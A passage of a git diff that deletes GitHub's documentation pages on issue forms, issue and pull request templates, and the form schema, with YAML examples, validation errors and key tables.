-```yaml -name: "Bug report" -body: -- type: input - id: first-name - attributes: - label: First name -``` - -## Body[i]: `x` is not a permitted key - -An unexpected key, `x`, was provided at the same indentation level as `type` and `attributes`. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: `x` is not a permitted key" error - -```yaml -body: -- type: markdown - x: woof - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -``` - -The error can be fixed by removing extra keys and only using `type`, `attributes`, and `id`. - -```yaml -body: -- type: markdown - attributes: - value: "Thanks for taking the time to fill out this bug! If you need real-time help, join us on Discord." -``` - -## Body[i]: `label` contains forbidden word - -To minimize the risk of private information and credentials being posted publicly in GitHub Issues, some words commonly used by attackers are not permitted in the `label` of input or textarea elements. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: `label` contains forbidden word" error - -```yaml -body: -- type: markdown - attributes: - value: Hello world! -- type: input - attributes: - label: Password -``` - -The error can be fixed by removing terms like "password" from any `label` fields. - -```yaml -body: -- type: markdown - attributes: - value: Hello world! -- type: input - attributes: - label: Username -``` - -## Body[i]: `x` is not a permitted attribute - -An invalid key has been supplied in an `attributes` block. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: `x` is not a permitted attribute" error - -```yaml -body: -- type: markdown - attributes: - x: "a random key!" - value: "Thanks for taking the time to fill out this bug!" -``` - -The error can be fixed by removing extra keys and only using permitted attributes. - -```yaml -body: -- type: markdown - attributes: - value: "Thanks for taking the time to fill out this bug!" -``` - -## Body[i]: `options` must be unique - -For checkboxes and dropdown input types, the choices defined in the `options` array must be unique. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: `options` must be unique" error - -```yaml -body: -- type: dropdown - attributes: - label: Favorite dessert - options: - - ice cream - - ice cream - - pie -``` - -The error can be fixed by ensuring that no duplicate choices exist in the `options` array. - -```yaml -body: -- type: dropdown - attributes: - label: Favorite dessert - options: - - ice cream - - pie -``` - -## Body[i]: `options` must not include the reserved word, none - -"None" is a reserved word in an `options` set because it is used to indicate non-choice when a `dropdown` is not required. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: `options` must not include the reserved word, none" error - -```yaml -body: -- type: dropdown - attributes: - label: What types of pie do you like? - options: - - Steak & Ale - - Chicken & Leek - - None - validations: - required: true -``` - -The error can be fixed by removing "None" as an option. If you want a contributor to be able to indicate that they like none of those types of pies, you can additionally remove the `required` validation. - -```yaml -body: -- type: dropdown - attributes: - label: What types of pie do you like? - options: - - Steak & Ale - - Chicken & Leek -``` - -In this example, "None" will be auto-populated as a selectable option. - -## Body[i]: `options` must not include booleans. Please wrap values such as 'yes', and 'true' in quotes - -There are a number of English words that become processed into Boolean values by the YAML parser unless they are wrapped in quotes. For dropdown `options`, all items must be strings rather than Booleans. - -Errors with `body` will be prefixed with `body[i]` where `i` represents the index of the body block containing the error. For example, `body[0]` tells us that the error has been caused by the first block in the `body` list. - -### Example of "body[i]: `options` must not include booleans. Please wrap values such as 'yes', and 'true' in quotes" error - -```yaml -body: -- type: dropdown - attributes: - label: Do you like pie? - options: - - Yes - - No - - Maybe -``` - -The error can be fixed by wrapping each offending option in quotes, to prevent them from being processed as Boolean values. - -```yaml -body: -- type: dropdown - attributes: - label: Do you like pie? - options: - - "Yes" - - "No" - - Maybe -``` - -## Body cannot be empty - -The template body `key:value` pair cannot be empty. For more information about which top-level keys are required, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms#top-level-syntax). - -The error can be fixed by adding the `body:` section. - -### Example of "body cannot be empty" error - -```yaml -name: Support Request -description: Something went wrong and you need help? ---- -body: -- type: textarea - attributes: - label: "What's wrong?" -``` - -In this example, the error can be fixed by deleting the `---` (document separator) between the headers and the `body` section. - -```yaml -name: Support Request -description: Something went wrong and you need help? - -body: -- type: textarea - attributes: - label: "What's wrong?" -``` - -## Further reading - -* [YAML](https://yaml.org/) -* [Syntax for issue forms](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms) diff --git a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md b/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md deleted file mode 100644 index df4b6f78e354..000000000000 --- a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Configuring issue templates for your repository -intro: You can customize the templates that are available for contributors to use when they open new issues in your repository. -redirect_from: - - /github/building-a-strong-community/creating-issue-templates-for-your-repository - - /articles/configuring-issue-templates-for-your-repository - - /github/building-a-strong-community/configuring-issue-templates-for-your-repository -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Community -shortTitle: Configure ---- - -{% data reusables.repositories.default-issue-templates %} - -## Creating issue templates - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Features" section, under **Issues**, click **Set up templates**. You may need to enable **Issues** and refresh the page before you can see the button. - -![Screenshot of the "Features" section of a repository's settings, with the "Issues" setting ticked and the green "Set up templates" button visible.](/assets/images/help/repository/set-up-issue-templates-button.png) -1. Use the **Add template** dropdown menu, and click on the type of template you'd like to create. - - ![Screenshot of the "Add template" dropdown menu expanded to show standard templates, "Bug report" and "Feature request," with a "Custom template".](/assets/images/help/repository/add-template-drop-down-menu.png) -1. To preview or edit the template before committing it to the repository, next to the template, click **Preview and edit**. -1. To edit the template, click {% octicon "pencil" aria-label="Edit template" %}, and type in the fields to edit their contents. - - ![Screenshot of the preview of an issue template. To the right of the template name, a pencil icon is outlined in dark orange.](/assets/images/help/repository/issue-template-edit-button.png) -1. To automatically set a default issue title, assign the issue to people with read access to the repository, or apply labels to issues raised from the template, use the fields under "Optional additional information." You can also add these details in the issue template with `title`, `labels`, or `assignees` in a YAML frontmatter format. -1. When you're finished editing and previewing your template, click **Propose changes** in the upper right corner of the page. -1. In the "Commit message" field, type a commit message describing your changes. -1. Below the commit message fields, select whether to commit your template directly to the default branch, or to create a new branch and open a pull request. For more information about pull requests, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). -1. Click **Commit changes**. Once these changes are merged into the default branch, the template will be available for contributors to use when they open new issues in the repository. - -## Creating issue forms - -{% data reusables.community.issue-forms-beta %} - -With issue forms, you can create issue templates that have customizable web form fields. You can encourage contributors to include specific, structured information by using issue forms in your repository. Issue forms are written in YAML using the {% data variables.product.prodname_dotcom %} form schema. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema). {% data reusables.actions.learn-more-about-yaml %} - -To use an issue form in your repository, you must create a new file and add it to the `.github/ISSUE_TEMPLATE` folder in your repository. - -Here is an example of an issue form configuration file. - -{% data reusables.community.issue-forms-sample %} - -Here is the rendered version of the issue form. - -![Screenshot of a rendered issue form, with a mix of text fields and dropdown menus.](/assets/images/help/repository/sample-issue-form.png) - -1. Choose a repository where you want to create an issue form. You can use an existing repository that you have write access to, or you can create a new repository. For more information about creating a repository, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). -1. In your repository, create a file called `.github/ISSUE_TEMPLATE/FORM-NAME.yml`, replacing `FORM-NAME` with the name for your issue form. For more information about creating new files on GitHub, see [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files). -1. In the body of the new file, type the contents of your issue form. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms). -1. Commit your file to the default branch of your repository. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files). - -## Configuring the template chooser - -{% data reusables.repositories.issue-template-config %} - -You can encourage contributors to use issue templates by setting `blank_issues_enabled` to `false`. If you set `blank_issues_enabled` to `true`, people will have the option to open a blank issue. - -> [!NOTE] -> If you used the legacy workflow to manually create an `issue_template.md` file in the `.github` folder and enable blank issues in your _config.yml_ file, the template in `issue_template.md` will be used when people choose to open a blank issue. If you disable blank issues, the template will never be used. - -If you prefer to receive certain reports outside of {% data variables.product.github %}, you can direct people to external sites with `contact_links`. - -Here is an example _config.yml_ file. - -```yaml copy -blank_issues_enabled: false -contact_links: - - name: {% data variables.product.prodname_gcf %} - url: https://github.com/orgs/community/discussions - about: Please ask and answer questions here. - - name: {% data variables.product.prodname_dotcom %} Security Bug Bounty - url: https://bounty.github.com/ - about: Please report security vulnerabilities here. -``` - -Your configuration file will customize the template chooser when the file is merged into the repository's default branch. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field, type `.github/ISSUE_TEMPLATE/config.yml`. -1. In the body of the new file, type the contents of your configuration file. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} -{% data reusables.files.propose_new_file %} - -## Changing the order of templates - -You can set the order in which your issue templates will appear in the template chooser by making changes to the template filenames. The templates in `.github/ISSUE_TEMPLATE` are listed alphanumerically and grouped by filetype, with YAML files appearing before Markdown files. - -To control the order of your templates, prefix the filenames with a number. For example: `1-bug.yml`, `2-feature-request.yml`, and `3-epic.yml`. - -If you have 10 or more templates, alphanumeric ordering means that `11-bug.yml` will be positioned between `1-feature.yml` and `2-support.yml`. You can keep your intended ordering by prefixing your numeric filenames with an additional `0`. For example: `01-feature.yml`, `02-support.yml`, and `11-bug.yml`. - -## Further reading - -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates) -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository) diff --git a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md b/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md deleted file mode 100644 index 7fccb5ae48da..000000000000 --- a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Creating a pull request template for your repository -intro: 'When you add a pull request template to your repository, project contributors will automatically see the template''s contents in the pull request body.' -redirect_from: - - /articles/creating-a-pull-request-template-for-your-repository - - /github/building-a-strong-community/creating-a-pull-request-template-for-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Create a PR template ---- - -For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates). - -You can create a _PULL_REQUEST_TEMPLATE/_ subdirectory in any of the supported folders to contain multiple pull request templates, and use the `template` query parameter to specify the template that will fill the pull request body. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request). - -You can create default pull request templates for your organization or personal account. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -## Adding a pull request template - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field: - * To make your pull request template visible in the repository's root directory, name the pull request template `pull_request_template.md`. - * To make your pull request template visible in the repository's `docs` directory, name the pull request template `docs/pull_request_template.md`. - * To store your file in a hidden directory, name the pull request template `.github/pull_request_template.md`. - * To create multiple pull request templates and use the `template` query parameter to specify a template to fill the pull request body, type _.github/PULL_REQUEST_TEMPLATE/_, then the name of your pull request template. For example, `.github/PULL_REQUEST_TEMPLATE/pull_request_template.md`. You can also store multiple pull request templates in a `PULL_REQUEST_TEMPLATE` subdirectory within the root or `docs/` directories. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request). -1. In the body of the new file, add your pull request template. This template could consist of asking to include: - * A [reference to a related issue](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#referencing-issues-and-pull-requests) in your repository. - * A description of the changes proposed in the pull request. - * [@mentions](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) of the person or team responsible for reviewing proposed changes. -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} Templates are available to collaborators when they are merged into the repository's default branch. -{% data reusables.files.propose_new_file %} - -## Further reading - -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates) -* [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) diff --git a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md b/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md deleted file mode 100644 index 34ed86e3431d..000000000000 --- a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Using templates to encourage useful issues and pull requests -shortTitle: Issue & PR templates -intro: Repository maintainers can add templates in a repository to help contributors create high-quality issues and pull requests. -redirect_from: - - /github/building-a-strong-community/using-issue-and-pull-request-templates - - /articles/using-templates-to-encourage-high-quality-issues-and-pull-requests-in-your-repository - - /articles/using-issue-and-pull-request-templates - - /github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -children: - - /about-issue-and-pull-request-templates - - /configuring-issue-templates-for-your-repository - - /syntax-for-issue-forms - - /syntax-for-githubs-form-schema - - /creating-a-pull-request-template-for-your-repository - - /manually-creating-a-single-issue-template-for-your-repository - - /common-validation-errors-when-creating-issue-forms ---- - diff --git a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md b/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md deleted file mode 100644 index c35977135dfa..000000000000 --- a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Manually creating a single issue template for your repository -intro: 'When you add a manually-created issue template to your repository, project contributors will automatically see the template''s contents in the issue body.' -redirect_from: - - /articles/creating-an-issue-template-for-your-repository - - /articles/manually-creating-a-single-issue-template-for-your-repository - - /github/building-a-strong-community/manually-creating-a-single-issue-template-for-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Create an issue template ---- - -{% data reusables.repositories.legacy-issue-template-tip %} - -You can create an _ISSUE_TEMPLATE/_ subdirectory in any of the supported folders to contain multiple issue templates, and use the `template` query parameter to specify the template that will fill the issue body. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). - -You can add YAML frontmatter to each issue template to pre-fill the issue title, automatically add labels and assignees, and give the template a name and description that will be shown in the template chooser that people see when creating a new issue in your repository. - -Here is example YAML front matter. - -```yaml ---- -name: Tracking issue -about: Use this template for tracking new features. -title: "[DATE]: [FEATURE NAME]" -labels: tracking issue, needs triage -assignees: octocat ---- -``` - -> [!NOTE] -> If a front matter value includes a YAML-reserved character such as `:` , you must put the whole value in quotes. For example, `":bug: Bug"` or `":new: triage needed, :bug: bug"`. - -{% ifversion fpt or ghec %} - -{% data reusables.repositories.valid-community-issues %} - -{% endif %} - -{% data reusables.repositories.default-issue-templates %} - -## Adding an issue template - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field: - * To make your issue template visible in the repository's root directory, type the name of your _issue_template_. For example, `issue_template.md`. - * To make your issue template visible in the repository's `docs` directory, type _docs/_ followed by the name of your _issue_template_. For example, `docs/issue_template.md`, - * To store your file in a hidden directory, type _.github/_ followed by the name of your _issue_template_. For example, `.github/issue_template.md`. - * To create multiple issue templates and use the `template` query parameter to specify a template to fill the issue body, type _.github/ISSUE_TEMPLATE/_, then the name of your issue template. For example, `.github/ISSUE_TEMPLATE/issue_template.md`. You can also store multiple issue templates in an `ISSUE_TEMPLATE` subdirectory within the root or `docs/` directories. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). -1. In the body of the new file, add your issue template. This could include: - * YAML frontmatter - * Expected behavior and actual behavior - * Steps to reproduce the problem - * Specifications like the version of the project, operating system, or hardware -{% data reusables.files.write_commit_message %} -{% data reusables.files.choose_commit_branch %} Templates are available to collaborators when they are merged into the repository's default branch. -{% data reusables.files.propose_new_file %} - -## Further reading - -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates) -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository) -* [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue) diff --git a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md b/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md deleted file mode 100644 index 8e8184bf2f21..000000000000 --- a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md +++ /dev/null @@ -1,273 +0,0 @@ ---- -title: Syntax for GitHub's form schema -intro: 'You can use {% data variables.product.company_short %}''s form schema to configure forms for supported features.' -redirect_from: - - /early-access/github/save-time-with-slash-commands/githubs-form-schema -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Community ---- - -> [!NOTE] -> {% data variables.product.company_short %}'s form schema is currently in {% data variables.release-phases.public_preview %} and subject to change. - -## About {% data variables.product.company_short %}'s form schema - -You can use {% data variables.product.company_short %}'s form schema to configure forms for supported features. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms). - -A form is a set of elements for requesting user input. You can configure a form by creating a YAML form definition, which is an array of form elements. Each form element is a set of key-value pairs that determine the type of the element, the properties of the element, and the constraints you want to apply to the element. For some keys, the value is another set of key-value pairs. - -For example, the following form definition includes four form elements: a text area for providing the user's operating system, a dropdown menu for choosing the software version the user is running, a checkbox to acknowledge the Code of Conduct, and Markdown that thanks the user for completing the form. - -```yaml copy -- type: textarea - attributes: - label: Operating System - description: What operating system are you using? - placeholder: "Example: macOS Big Sur" - value: operating system - validations: - required: true -- type: dropdown - attributes: - label: Version - description: What version of our software are you running? - multiple: false - options: - - 1.0.2 (Default) - - 1.0.3 (Edge) - default: 0 - validations: - required: true -- type: checkboxes - attributes: - label: Code of Conduct - description: The Code of Conduct helps create a safe space for everyone. We require - that everyone agrees to it. - options: - - label: I agree to follow this project's [Code of Conduct](link/to/coc) - required: true -- type: markdown - attributes: - value: "Thanks for completing our form!" -``` - -## Keys - -For each form element, you can set the following keys. - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -| `type` | The type of element that you want to define. | {% octicon "check" aria-label="Required" %} | String | {% octicon "dash" aria-label="Not applicable" %} | <ul><li>`checkboxes`</li><li>`dropdown`</li><li>`input`</li><li>`markdown`</li><li>`textarea`</li></ul> | -| `id` | The identifier for the element, except when `type` is set to `markdown`. {% data reusables.form-schema.id-must-be-unique %} If provided, the `id` is the canonical identifier for the field in URL query parameter prefills. | {% octicon "x" aria-label="Optional" %} | String | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | -| `attributes` | A set of key-value pairs that define the properties of the element. | {% octicon "check" aria-label="Required" %} | Map | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | -| `validations` | A set of key-value pairs that set constraints on the element. | {% octicon "x" aria-label="Optional" %} | Map | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | - -You can choose from the following types of form elements. Each type has unique attributes and validations. - -| Type | Description | -| ---- | ----------- | -| [`markdown`](#markdown) | Markdown text that is displayed in the form to provide extra context to the user, but is **not submitted**. | -| [`textarea`](#textarea) | A multi-line text field. | -| [`input`](#input) | A single-line text field. | -| [`dropdown`](#dropdown) | A dropdown menu. | -| [`checkboxes`](#checkboxes) | A set of checkboxes. | - -### `markdown` - -You can use a `markdown` element to display Markdown in your form that provides extra context to the user, but is not submitted. - -#### Attributes for `markdown` - -{% data reusables.form-schema.attributes-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -| `value` | The text that is rendered. Markdown formatting is supported. | {% octicon "check" aria-label="Required" %} | String | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | - -> [!TIP] -> YAML processing will treat the hash symbol as a comment. To insert Markdown headers, wrap your text in quotes. -> -> For multi-line text, you can use the pipe operator. - -#### Example of `markdown` - -```yaml copy -body: -- type: markdown - attributes: - value: "## Thank you for contributing to our project!" -- type: markdown - attributes: - value: | - Thanks for taking the time to fill out this bug report. -``` - -### `textarea` - -You can use a `textarea` element to add a multi-line text field to your form. Contributors can also attach files in `textarea` fields. - -#### Attributes for `textarea` - -{% data reusables.form-schema.attributes-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -| `label` | A brief description of the expected user input, which is also displayed in the form. | {% octicon "check" aria-label="Required" %} | String | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | -| `description` | A description of the text area to provide context or guidance, which is displayed in the form. | {% octicon "x" aria-label="Optional" %} | String | Empty String | {% octicon "dash" aria-label="Not applicable" %} | -| `placeholder` | A semi-opaque placeholder that renders in the text area when empty. | {% octicon "x" aria-label="Optional" %} | String | Empty String | {% octicon "dash" aria-label="Not applicable" %} | -| `value` | Text that is pre-filled in the text area. | {% octicon "x" aria-label="Optional" %} | String | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | -| `render` | If a value is provided, submitted text will be formatted into a codeblock. When this key is provided, the text area will not expand for file attachments or Markdown editing. | {% octicon "x" aria-label="Optional" %} | String | {% octicon "dash" aria-label="Not applicable" %} | Languages known to {% data variables.product.prodname_dotcom %}. For more information, see [the languages YAML file](https://github.com/github-linguist/linguist/blob/main/lib/linguist/languages.yml). | - -#### Validations for `textarea` - -{% data reusables.form-schema.validations-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -{% data reusables.form-schema.required-key %} - -#### Example of `textarea` - -```yaml copy -body: -- type: textarea - id: repro - attributes: - label: Reproduction steps - description: "How do you trigger this bug? Please walk us through it step by step." - value: | - 1. - 2. - 3. - ... - render: bash - validations: - required: true -``` - -### `input` - -You can use an `input` element to add a single-line text field to your form. - -#### Attributes for `input` - -{% data reusables.form-schema.attributes-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -| `label` | A brief description of the expected user input, which is also displayed in the form. | {% octicon "check" aria-label="Required" %} | String | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | -| `description` | A description of the field to provide context or guidance, which is displayed in the form. | {% octicon "x" aria-label="Optional" %} | String | Empty String | {% octicon "dash" aria-label="Not applicable" %} | -| `placeholder` | A semi-transparent placeholder that renders in the field when empty. | {% octicon "x" aria-label="Optional" %} | String | Empty String | {% octicon "dash" aria-label="Not applicable" %} | -| `value` | Text that is pre-filled in the field. | {% octicon "x" aria-label="Optional" %} | String | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | - -#### Validations for `input` - -{% data reusables.form-schema.validations-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -{% data reusables.form-schema.required-key %} - -#### Example of `input` - -```yaml copy -body: -- type: input - id: prevalence - attributes: - label: Bug prevalence - description: "How often do you or others encounter this bug?" - placeholder: "Example: Whenever I visit the personal account page (1-2 times a week)" - validations: - required: true -``` - -### `dropdown` - -You can use a `dropdown` element to add a dropdown menu in your form. - -#### Attributes for `dropdown` - -{% data reusables.form-schema.attributes-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -| `label` | A brief description of the expected user input, which is displayed in the form. | {% octicon "check" aria-label="Required" %} | String | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | -| `description` | A description of the dropdown to provide extra context or guidance, which is displayed in the form. | {% octicon "x" aria-label="Optional" %} | String | Empty String | {% octicon "dash" aria-label="Not applicable" %} | -| `multiple` | Determines if the user can select more than one option. | {% octicon "x" aria-label="Optional" %} | Boolean | false | {% octicon "dash" aria-label="Not applicable" %} | -| `options` | An array of options the user can choose from. Cannot be empty and all choices must be distinct. | {% octicon "check" aria-label="Required" %} | String array | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | -| `default` | Index of the preselected option in the `options` array. When a default option is specified, you cannot include "None" or "n/a" as options. | {% octicon "x" aria-label="Optional" %} | Integer | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | - -#### Validations for `dropdown` - -{% data reusables.form-schema.validations-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -{% data reusables.form-schema.required-key %} - -#### Example of `dropdown` - -```yaml copy -body: -- type: dropdown - id: download - attributes: - label: How did you download the software? - options: - - Built from source - - Homebrew - - MacPorts - - apt-get - default: 0 - validations: - required: true -``` - -### `checkboxes` - -You can use the `checkboxes` element to add a set of checkboxes to your form. - -#### Attributes for `checkboxes` - -{% data reusables.form-schema.attributes-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -| `label` | A brief description of the expected user input, which is displayed in the form. | {% octicon "check" aria-label="Required" %} | String | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | -| `description` | A description of the set of checkboxes, which is displayed in the form. Supports Markdown formatting. | {% octicon "x" aria-label="Optional" %} | String | Empty String | {% octicon "dash" aria-label="Not applicable" %} | -| `options` | An array of checkboxes that the user can select. For syntax, see below. | {% octicon "check" aria-label="Required" %} | Array | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | - -{% data reusables.form-schema.options-syntax %} -{% data reusables.form-schema.required-key %} - -#### Validations for `checkboxes` - -{% data reusables.form-schema.validations-intro %} - -| Key | Description | Required | Type | Default | Valid values | -| --- | ----------- | -------- | ---- | ------- | ------- | -{% data reusables.form-schema.required-key %} - -#### Example of `checkboxes` - -```yaml copy -body: -- type: checkboxes - id: operating-systems - attributes: - label: Which operating systems have you used? - description: You may select more than one. - options: - - label: macOS - - label: Windows - - label: Linux -``` - -## Further reading - -* [YAML](https://yaml.org) diff --git a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md b/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md deleted file mode 100644 index 3b2a02024ee0..000000000000 --- a/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Syntax for issue forms -intro: 'You can define different input types, validations, default assignees, and default labels for your issue forms.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community ---- - -{% data reusables.community.issue-forms-beta %} - -## About YAML syntax for issue forms - -You can create custom issue forms by adding a YAML form definition file to the `/.github/ISSUE_TEMPLATE` folder in your repository. {% data reusables.actions.learn-more-about-yaml %} You can define different input types, validations, default assignees, and default labels for your issue forms. - -When a contributor fills out an issue form, their responses for each input are converted to markdown and added to the body of an issue. Contributors can edit their issues that were created with issue forms and other people can interact with the issues like an issue created through other methods. - -Issue forms are not supported for pull requests. You can create pull request templates in your repositories for collaborators to use. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository). - -This example YAML configuration file defines an issue form using several inputs to report a bug. - -{% data reusables.community.issue-forms-sample %} - -## Top-level syntax - -All issue form configuration files must begin with `name`, `description`, and `body` key-value pairs. - -```yaml copy -name: -description: -body: -``` - -You can set the following top-level keys for each issue form. - -{% ifversion issue-types %} - -{% data reusables.issues.release-stage %} - -{% endif %} - -| Key | Description | Required | Type | -| :-- | :-- | :-- | :-- | -| `name` | A name for the issue form template. Must be unique from all other templates, including Markdown templates. | Required | String | -| `description` | A description for the issue form template, which appears in the template chooser interface. | Required | String | -| `body` | Definition of the input types in the form. | Required | Array | -| `assignees` | People who will be automatically assigned to issues created with this template. | Optional | Array or comma-delimited string | -| `labels` | Labels that will automatically be added to issues created with this template. If a label does not already exist in the repository, it will not be automatically added to the issue. | Optional | Array or comma-delimited string | -| `title` | A default title that will be pre-populated in the issue submission form. | Optional | String | -| {% ifversion issue-types %} | -| `type` | The issue type that will be automatically added to issues created with this template. Issue types are defined at the organization level and can be used to create a shared syntax across repos. | Optional | String | -| {% endif %} | -| `projects` | Projects that 